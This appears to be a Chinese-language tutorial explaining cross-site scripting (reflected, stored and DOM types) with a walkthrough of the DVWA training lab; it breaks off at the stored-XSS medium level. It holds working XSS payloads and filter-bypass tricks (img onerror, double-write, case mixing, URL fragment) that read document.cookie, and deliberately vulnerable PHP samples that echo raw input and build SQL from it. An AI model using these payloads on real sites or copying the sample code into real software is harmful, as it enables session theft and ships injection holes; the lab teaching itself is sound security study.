xssS又叫CSS(Cross Site Script)跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

​ xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。

xss的原理

说起xss感觉和sql注入很像,xss是将一些恶意代码嵌入前端代码中,当用户浏览该网页时就会触发该恶意语句,一般恶意语句为js代码。
例如一个留言板没有对用户输入的内容进行过滤这就会导致单黑客在留言版里输入一些恶意语句时会被后端保存在数据库中,当有用户浏览该留言板时,后端代码会将该恶意语句输出到web页面上导致用户执行该代码。

注入点

1.HTML标签之间
<div>:可以直接写入JS,web会直接执行
<title>``<iframe>等包含htmlEncode功能的标签:先闭合标签,再写入JS

2.HTML标签之内
插入点在value内,type不为hidden:由于web不会执行在value值内的JS代码,因此要使JS从Value中跳出。可以采用闭合标签等多种方法。
插入点在value内,type为hidden:由于标签内容不可显示,这时可以闭合标签或者插入新的type(有两个相同type时第二个失效)。

3.其它情况
属性可执行伪协议:直接输入JavaScript:脚本内容
eval():会直接执行JS语句,因此可以直接输入脚本内容
在JS代码中插入:闭合标签或者属性

xss类型

1.反射性

反射性xss漏洞,就是通过请求参数来使页面输出相应的内容也就是将js语句传到了后端在由后端传到前端,反射型xss是一次性的也就是不会被存储
如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
前端
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title>反射型xss</title>
</head>
<body>
<form action="1.php" method="POST">
name:<input type="name" name="name" />
<input type="submit" value="submit">
</form>
</body>
</html>
1
2
3
4
5
后端1.php
<?php
$name=$_POST[name];
echo $name
?>

像这样的代码当我们在输入框输入<script> alert("hack") </script>时就会弹出窗口

存储型

将黑客输入的代码存储到数据库中。
当用户打开网页时将代码输出到用户的web里导致该代码被浏览器解析执行。这就是存储型漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
前端
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title>反射型xss</title>
</head>
<body>
<form action="1.php" method="POST">
id:<input type="text" name="id" />
name:<input type="text" name="name" />
<input type="submit" value="submit">
</form>
</body
</html>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
后端1.php
<?php
$id=$_POST["id"];
$name=$_POST["name"];
mysql_connect("localhost","root","root");//建立与数据库的连接
mysql_select_db("test");//选择text数据库

$sql="insert into xss value ($id,'$name')";
$result=mysql_query($sql);
?>
用户查看时的代码
<?php
mysql_connect("localhost","root","root");
mysql_select_db("test");
$sql="select * from xss where id=1";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result)){
echo $row['name'];
}
?>

这样子就导致我们输入的内容存储到数据库中,每次有用户访问时就会触发。

DOM型漏洞

基于DOM的XSS一般不会与服务器进行交互,这个漏洞是由于前端的JS代码不严谨造成的,读取、执行恶意JS代码只由浏览器完成。

DVWA DOM Based Cross Site Scripting

LOW

我们打开源码发现是全空,所以我们打开f12查看前端代码,发现了如下js代码

1
2
3
4
5
6
7
8
9
10
11
12
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>

1
2
3
4
5
document.location.href.indexOf("default=")
//该函数由document.location.href和indexOf()组成,
//documennt.location.href是获取url的函数,indexOf("default=")的意思是返回default=后的内容(包括default=)
document.location.href.substring(document.location.href.indexOf("default=")+8)//返回url的default=后的内容,+8是为了跳过default=
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");//将括号内的字符串输出到web页面上这时候就存在DOM型的xss漏洞

我们输入?default=<script>alert(document.cookie)</script>这时由于LOW没有做任何过滤导致屏幕会直接弹出cookie值。

Medium

相比low多了个

1
2
3
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;

我们可以直接使用img来创造payload,注意由于option无法进行解析img。所以我们要闭合select和option
1
?default=</option></select><img%20src=x%20onerror=alert(document.cookie)>

high

我们查看源码发现多了个switch语句导致如果输入的不为指定的语言就会停止运行,这时候我们由以下几种方法绕过

1.使用#来进行绕过

由于浏览器不会将url#之后的值传递给后端,但是由于DOM是由于js所引起的漏洞,导致我们可以使用#绕过

1
?default=English#<script>alert(document.cookie)</script>

2.使用多变量传值绕过

由于php代码只判断default的值,但是前端代码会将url的default=之后的所有字符输出到web上,所有我们可以采用多变量绕过

1
?default=English&a=<script>alert(document.cookie)</script>

Reflected Cross Site Scripting (XSS)

1
2
3
4
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

从源码查看我们可以看到该反射性xss没有任何过滤所以我们直接输入

1
?name=<script>alert(document.cookie)</script>#

Medium

我们查看源码
多了

1
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

我们可以发现这是使用str_replace()来进行过滤我们可以进行以下绕过

1.双写绕过

1
?name=<scr<script>ipt>alert(document.cookie)</scr<script>ipt>#

2.<img>绕过

使用img标签进行绕过

1
<img%20src=x%20onerror=alert(document.cookie)>

3.大小写绕过

由于str_replace不忽略大小写所以可以使用

1
?name=<sCript>alert(document.cookie)</scRipt>#

high

过滤了script所以使用img和iframe就可以

Stored Cross Site Scripting (XSS)

LOW

没有过滤我们直接在留言板写恶意代码即可

medium